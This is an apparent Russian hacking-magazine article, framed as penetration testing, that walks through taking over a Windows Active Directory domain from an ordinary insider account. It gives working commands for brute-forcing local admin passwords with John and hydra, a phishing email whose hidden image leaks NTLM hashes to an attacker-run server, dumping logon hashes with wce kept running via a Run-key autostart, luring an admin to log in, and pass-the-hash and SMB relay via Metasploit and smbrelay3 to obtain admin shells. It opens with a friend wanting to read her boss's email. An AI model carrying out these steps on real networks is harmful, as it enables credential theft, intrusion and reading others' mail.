Жажда власти издревле являлась движущей силой прогресса человечества. Любому из нас в той или иной степени присуща эта черта. Владеть недоступной другим или скрываемой ими информацией, и даже просто чувствовать, что это в твоих силах, хочет каждый. Поверь, сейчас это не так уж и сложно: достаточно подняться до администратора домена.

 

Домены, домены…

Что такое домен, знают все. Служба директорий, протокол доступа и еще куча различных сервисов. Информационная инфраструктура почти любой более-менее крупной организации держится на AD. И в первую очередь AD — это контроль доступа пользователей, а доменный админ — царь любого домена.

Проводя тесты на проникновение, ты взаимодействуешь со средой функционирования той или иной системы. Ты от нее зависишь, ты же на нее и влияешь. А в основе всего в подавляющем большинстве случаев лежит AD. Только представь, как расширяются глаза заказчиков и учащается их пульс, когда ты показываешь вновь созданную учетную запись в группе доменных админов. Демонстрация силы и возможностей рядовых сотрудников (инсайдеров) — одна из задач любого инфраструктурного пентеста. Поднялся до админа — готовь кошелек для премиальных.

Недавно одна моя подруга, наслушавшись о моих подвигах, сказала, что ей тоже очень хотелось бы читать почту своей начальницы. Не знаю уж, зачем, просто очень хотелось. По ее мнению — это нереально или, по крайней мере, крайне сложно и ей тупо не под силу. Я же ответил, что это ни разу не так, и что достаточно будет пары часов, чтобы ее научить. Эта тема мне так понравилась, что я решил все систематизировать и нарисовать статью. Статью про 100%-ый убойный пентест.

Итак, наша задача — получить права пользователя из группы доменных админов. Так как мы играем роль инсайдера, условимся, что у нас есть доменная учетка с ограниченными правами, а также возможность доступа к подключенной к домену машине с правами локального администратора. Согласен, что пользователям далеко не всегда дают права локальных админов, но, тем не менее, не так уж и редко. И вообще, принципиального значения это не имеет, в заключительной части статьи я покажу, как их можно получить. Пока же для простоты будем считать, что такие права есть.

Мы будем использовать общие подходы, не связанные с эксплуатацией конкретных уязвимостей. Так что можешь пока забыть о своих любимых exploit-db и vupen, а также о Canvas и Core Impact. Смело ставь фреймворк и чихай на антивирус — эксплойты нам все равно не понадобятся. А вот про Metasploit забывать не стоит — там есть чудные модули и meterpreter в помощь. Ну что, поехали?

 

Старо, как мир

Наверняка ты знаешь о том, что хэши локальных пользователей хранятся в реестре и могут легко быть получены при наличии админских привилегий. Не буду долго утомлять тебя избитыми вещами, бери cain’а и снимай хэши. Если хранение LM-хэшей не запрещено (надеюсь, тебе не семерку выделили), то подбор паролей не займет много времени. И уже через часик у тебя на руках будет пароль встроенной учетной записи локального администратора.

С новыми окошками будет посложнее, так как LM там уже не хранится, но и здесь, возможно, тебе повезет. Особенно, если у тебя в арсенале десяток машинок с нормальными видюхами. Ну а если и не повезет, тоже не расстраивайся — однако об этом чуть позже.
Итак, пароль встроенной админской учетки получен. Зачем он нужен? Любой админ, по определению, ленив, и это нам на руку. В половине (если не больше) случаев этот пароль подойдет к куче других узлов. Это значит, что доступ ты и к этим машинам легко получишь.

А если нет? Если политика запрещает использование одинаковых паролей на разных узлах, админы, как правило, придумывают некие паттерны, по которым и генерят пароли. Например, представим, что после подбора получено значение Adm391. Первое, что нужно сделать, это определить сам алгоритм генерации пароля. В данном случае похоже на то, что первая часть неизменна, а вторая — представляет собой некое трехзначное число. В лучшем случае ты поймешь, как оно формируется (например, последний октет IP-адреса), в худшем — составь небольшой словарик со всеми возможными комбинациями. И вовсе необязательно делать это вручную — тебе поможет «Ваня-потрошитель».

Копируем файл john.ini в john.ini.bak (на всякий случай) и создаем новый файл следующего содержания:

john.ini
[List.Rules:Wordlist]
$[0-9]
$[0-9] $[0-9]
$[0-9] $[0-9] $[0-9]

Вдаваться в подробности синтаксиса правил — это не одну статью писать. Но общий смысл таков: для любого пароля из входного списка в конец будет добавлено три элемента из множества {0,1,2,3,4,5,6,7,8,9}.

После этого создаем входной файл с паролями.

pentest.wordlist
Adm

Далее запускаем генерацию:

john-386.exe –wordlist=pentest.wordlist
–rules –stdout > pentest.passes

На выходе получаем словарь с паролями для перебора. Для реализации брута я предпочитаю использовать олдскульную гидру:

hydra –l <имя_пользователя> -P passwords.
txt -m L 192.168.120.11 smbnt

Не забывай поставить литеру L, чтобы указать гидре проверять локальные, а не доменные учетные данные. В качестве имени пользователя используем то же, которое было обнаружено на локальной машине. На русской винде, если админы не наследили в групповых политиках, это «Администратор».

Однако не спеши и вспомни о кодировках. Вместо «Администратора» придется подставлять загадочную строчку « ¤¬Ё¬Ёбва в®а». Запускаем и ждем результатов. Кстати, замечу, что гидра отлично работает в несколько потоков, так что можешь хоть всю сетку зараз брутить.

 

Наследили…

Ну и что? Ну, набрутили локальных админов... При чем здесь домен-то? Согласен, не забываем про конечную цель и двигаемся дальше.

Наверняка ты не раз замечал, что, выдрав рабочий ноут из сети и поехав погреться, ты в любой момент можешь залогиниться со своей доменной учеткой.

Зададимся вопросом: как же это, домен ведь недоступен? Ответ крайне прост. Как раз для таких целей Винда хранит кэшированные пароли последних доменных входов.

Чудо это называется Cached Domain Credentials. На самом деле, это совсем не хэши, и ничего общего со знакомыми тебе LM или NTLM они не имеют. Поэтому и толку от них никакого, пока ты их не пробрутишь. Количество хранимых хэшей определяется значением параметра CachedLogonsCount раздела реестра HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows NT\Current Version\Winlogon. По умолчанию все версии Винды хранят хэши десяти последних входов. Логично, что среди этих хэшей наверняка встретятся и хэши админа. Снимать эти хэши умеют многие тулзы, включая Cain и PWDumpX.

Первым удобно пользоваться на локальной машине, второй же ты можешь юзать для удаленной работы. Запускай Cain’а, переходи на вкладку Cracker и выбери в левой панельке MS-Cache Hashes. Далее все, как обычно. Если тебе повезло набрутить админов на других узлах, не поленись и сними хэши с этих машин.

Надеюсь, удача тебя не оставит, хотя шансов, честно скажу, немного. Во всех доменах, которые мне попадались, были настроены политики сложности пароля. Более того, админы для себя, как правило, выбирают действительно сложные пароли, так что в большинстве случаев тебя ждет провал. Помочь тебе может Extreme GPU Bruteforcer, который осуществляет перебор на видюхах, однако гарантий, сам понимаешь, никаких. А раз нет гарантий — это не по-нашему, и мы идем дальше.

 

Письма счастья

Могу поспорить, что на работе ты почти каждый день получаешь письма, повествующие об отключении холодильника, корпоративных пьянках и принятии на службу новых бойцов. Примечательно, что эти письма никогда не попадают в спам, при этом картинки в них автоматически подгружаются и отображаются почтовиком.

Если копнуть чуть глубже, можно обнаружить, что для отображения письма в HTML Outlook использует движок IE. Парадигма безопасности IE зиждется на разделении всех ресурсов на зоны.

В зависимости от того, к какой зоне отнесен ресурс, определяется и уровень доверия к нему. Для ресурсов, входящих в тот же домен, что и ты, назначается зона «Интранет». В этой зоне IE (а значит, и Outlook) при необходимости производит автоматическую авторизацию с текущими учетными данными на web-узле. Отсюда рождается следующий сценарий атаки. Делаем рассылку письма, содержащего ссылку на картинку, расположенную на контролируемом нами узле. А на самом узле поднимаем фейковый web-сервер, задачей которого будет являться принуждение к авторизации и запись сессии аутентификации.

Роль такого сервера поможет сыграть утилита pokehashball. Тулза написана на Ruby и использует библиотеки Metasploit. Так что, если еще не поставил, быстро устанавливай Metasploit и пропиши путь к библиотекам в переменную среды RUBYLIB=C:\ framework\msf3\lib.
Для отправки письма используй Outlook Express. Дело в том, что взрослый Outlook при отсылке сам забирает картинку и вставляет ее в письмо; нам же подойдет только ссылка. Как настроить Outlook Express ты, думаю, разберешься. Настроил? Тогда создай HTML-файл следующего содержания:

Hacker,<br />m0r0 Corporation <img width=1 height=1
src="http://lamercomp:8088/d.gif" />

Далее в Outlook выбери меню «Сервис - Параметры», а затем на вкладке «Подписи» создай новую подпись, указав в качестве источника созданный файл.

Все готово! На узле lamercomp запускаем pokehashball.

Придумываем себе очередной день рождения и делаем рассылку с приглашением поучаствовать всем желающим, особенно админам. При этом в конце письма не забываем добавить зловещую подпись. После нажатия кнопки <Send> можно пойти погулять и через пару минут вернуться за уловом. Результаты увидишь в выдаче pokehashball.

Выход кардинально зависит от настроек групповых политик. В идеале это будет NTLM-аутентификация с LM-хэшами. Если так — тебе повезло. На нормальном ноуте ты пассы за один день железно подберешь (если, конечно, админы непечатаемые символы не используют). Ну а в худшем — NTLMv2-аутентификация, под которую, в силу особенностей алгоритма, даже радужных таблиц нет.

Здесь можно рассчитывать только на удачу и отсутствие парольных политик. Да, и не забудь отменить ДР после удачного брута.
Скажу тебе по секрету: статистика моей практики пентестов показывает, что этот метод в 100% случаев дает желаемый результат. Его основными преимуществами являются массовость и незаметность. Рассылка по списку сразу же подсаживает кучу пользователей, а факт наличия доверенных отношений приводит к тому, что пользователю не выдается никаких запросов: для него все полностью прозрачно и, что самое прекрасное, от него ничего не зависит!

 

Чужие пальчики

Тем не менее, предположим, что пока все усилия пропали даром. Ни один из перехваченных хэшей пробрутить не удалось. Но не будем отчаиваться, а пошевелим извилинами. Одной из целей использования внешних каталогов является реализация парадигмы Single Sign-On. Залогинившись на комп, ты получаешь доступ ко многим сервисам, больше не вводя никаких паролей.

Во всяком случае, к сервисам Microsoft. Никто тебя лишний раз не беспокоит, когда ты цепляешься к корпоративному почтовику, CRM или системе внутреннего документооборота. Это значит, что пока твоя сессия активна, твои учетные данные хранятся в памяти и используются автоматически.

Пароли, естественно, в открытом виде не хранятся — хранятся их хэши, уже нам знакомые LM или NTLM. Ну а теперь главное: если Винде достаточно только хэшей, чтобы тебя авторизовать, значит и тебе для авторизации под чужой учеткой сам пароль не нужен, а нужен только его хэш. Технология авторизации по хэшу носит название pass-the-hash. Получается, что никакая там парольная политика и отсутствие вычислительных мощностей нам не помеха. Мы просто ничего не будем брутить. Проблема заключается в том, как эти самые хэши получить.

Заметь, ничего нового я не сказал, а утилит, которые позволяют получать хэши из активных сессий, не так уж и мало. Мне больше всего по душе утилита wce, которая может не только снимать хэши, но и использовать их для инициации новых сессий с использованием сдампленных хэшей.

Для дампа сессий просто запусти бинарник. Естественно, кроме своей учетки ты ничего не увидишь. Для компрометации админа нужно запустить утилку на узле, на котором админ в настоящее время залогинен. В этой связи наибольший для нас интерес представляют сервера. Если тебе удалось получить локальный админский доступ к серверу, забрось туда бинарник и запусти:

wce.exe –r60 –o c:\temp\wce.log

Опция –r60 заставляет тулзу проверять наличие новых логинов каждые 60 секунд. При запуске можешь получить отлуп в виде ошибки инжектирования в процесс LSASS. Тогда попробуй запуститься с правами LocalSystem. Для этого ты можешь использовать планировщик или воспользоваться утилитой psexec с ключом –s. Ну а дальше — вопрос времени и везения.

Нужно просто дождаться, пока админ подключится к серверу. Чем больше серваков — тем лучше. Для ускорения этого процесса можешь применить свой, не сомневаюсь, незаурядный талант в области социальной инженерии.

Если тебе не повезло, и к сервакам доступа ты не имеешь, придется пожертвовать своей тачкой.

Главное — помнить, что в клиентских ОС от Microsoft одновременно возможна только одна активная сессия. Причем для тачек, включенных в домен, интерактивный доступ отключается. Это означает, что когда админ к тебе подконнектится, все твои задачки, в том числе и wce, будут завершены. То есть нужно немножко постараться и сделать так, чтобы твоя задача либо всегда висела, либо запускалась при каждом входе.

Для того, чтобы задача не завершалась, ее можно запустить либо от имени LocalSystem (с помощью того же планировщика), либо в виде сервиса. Однако лично у меня такие эксперименты окончились неудачно. Процесс работает, но в файл ничего не пишет. Поэтому предлагаю альтернативный путь. Для этого создадим простой скриптик следующего содержания:

wce.bat
@echo off
c:\temp\wce.exe -o c:\wce.log

Далее добавляем его в автозагрузку. Ключей и методов автозагрузки множество — выбор за тобой. Простейшим вариантом является создание соответствующего параметра в разделе реестра HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run. После этого позвони админу и сообщи ему, что у тебя комп вообще не работает и очень срочно нужна его помощь. Когда он придет, залогинится и скажет, что все ОК, не забудь восхититься его профессионализмом, тысячу раз извиниться и пообещать ящик пива. Ну а когда уйдет, посмотри содержимое файлика c:\wce.log. А еще лучше — запусти команду

wce –s <то, что в файлике лежит> -c cmd

и наслаждайся консолью с правами администратора домена.

 

Отражение

Все замечательно, но, как и всегда, хочется процесс несколько автоматизировать. Напрямую использовать хэши, полученные при сниффинге аутентификационных сессий, нельзя, потому что это не в чистом виде LM- и NTLM-хэши, а некоторые криптографические преобразования над ними с использованием случайных значений. Тем не менее, если полностью повторить процесс аутентификации, в правильном порядке манипулируя значениями challenge, есть возможность авторизоваться с получаемыми хэшами. Эта методика носит название SMB Relay.

Метод не новый и Microsoft о нем известно. Не так давно (вспомни, когда появилась NT) наконец-то появился бюллетень MS08-068. Соответствующие апдейты перекрывают возможность осуществлять рефлексию на хост, инициировавший соединение. Однако это вовсе не исключает возможности рефлексии на другие хосты или по другим протоколам.

Одним из действенных механизмов защиты является «подписывание SMB». Настройка осуществляется либо групповыми политиками, либо путем редактирования параметров EnableSecuritySignature и RequireSecuritySignature раздела HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\LanManServer\ Parameters. Стоит отметить, что начиная с Windows 2000 RequireSecuritySignature включен на контроллерах домена по умолчанию, обламывая все попытки рефлексии на контроллер. Однако с клиентскими осями полный порядок.

Для реализации рефлексии будем использовать модуль smb_relay великого и ужасного Metasploit’а. Итак, запускаем консоль, выбираем и настраиваем модуль smb_relay:

use windows/smb/smb_relay
set smbhost <ip-адрес для рефлексии>
exploit

Не запустился? Не спеши расстраиваться. Правильно, что эксплойт не запустился, так как порт 445 забинден виндой за SMBслужбой. Многие пугаются того, что службу стандартными средствами убить нельзя, однако это не так. Запускаем regedit и присваиваем параметру TransportBindName раздела HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters пустое значение. После этого перезагружаемся и пробуем заново.

Теперь все отлично! Каким-либо образом заставляем админа подключить любой ресурс на нашем компе и, как только он это сделает, у тебя на руках будет meterpreter на том хосте, на который ты рефлексился. А куда же рефлекситься, спросишь ты? Если нельзя на тот же узел и на контроллер домена, куда тогда? Есть очень красивый вариант — рефлекситься на тачку другого админа. Как в боевиках: все админы друг друга постреляли. Что дальше ты будешь делать с meterpreter — уже не моего ума дело.

 

Help, I need somebody

На десерт — самое вкусное. До этого мы считали, что имеем права локального администратора. Что делать, если их нет? Замечу, что отправка писем счастья не требует никаких дополнительных прав. Так что этот метод можно использовать и из-под ограниченной учетной записи. В принципе, ничто не мешает и Metasploit загрузить, однако освободить 445 порт без админских прав, к сожалению, не получится. Так как метод со сниффингом сессии аутентификации требует брута хэшей и не гарантирует результата, надо придумать что-то более солидное.

Как я уже говорил, рефлексия может быть произведена и с других протоколов, в том числе и в результате аутентификации на HTTPсервере. Таким образом можно поднять собственный web-сервак на непривилегированном порту и заслать «письмо счастья» со ссылкой на этот сервер. А рефлексию с правами админа проводить на SMB, скажем, на свой же узел. В результате получим шелл с админскими правами на своей машине. Сказано — сделано, да не тут-то было. К сожалению, Metasploit’овский smb_relay жестоко обламывает, работая только с SMB.

Но здесь на помощь приходит другая тулза под названием smbrelay3. Она умеет делать ровным счетом то, что нам и надо.
Итак, запускаем:

smbrelay3.exe --ListForHTTPRequests
--AlternativeSrcPort 8088 --SMBDestinationHost
<lamercomp>

После этого не забываем про письмо с нужной ссылкой на картинку в подписи и медитируем на консоль. Как только увидишь строчку

[+] *** Remote SmbRelay3 BindShell Service Running
***: (<твой IP>:8080),

сразу запускай телнет и подключайся к порту 8080. Дальше дело техники и net user тебе в помощь.

 

Качество гарантирую

Получая задание на инфраструктурный пентест и спрашивая, что же заказчик хотел бы в конце этого действа увидеть, я в 9 случаях из 10 слышу ответ: «А вот попробуйте получить доступ к почте нашего зама по безопасности!». Ну что ж, можешь смело браться за такие пентесты — результат гарантирован.

Реализуя один из описанных сценариев, ты, так или иначе, непременно получишь права доменного админа. Имея права доменного админа, ты можешь снять хэши со всего каталога. А с помощью pass-the-hash получишь доступ к почте не только зама по безопасности, но и любого другого сотрудника. Вообще говоря, реализация полученных возможностей может быть ограничена только твоей фантазией. Напоследок скажу, что на Microsoft я не работаю, и денег мне не платят, чтобы за них думать. Никаких рекомендаций от меня ты не услышишь: их разработка пусть будет твоей головной болью, когда будешь отчитываться по результатам своего следующего убойного пентеста. Возможно, это будет темой твоей следующей статьи в ][.

 

Links

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии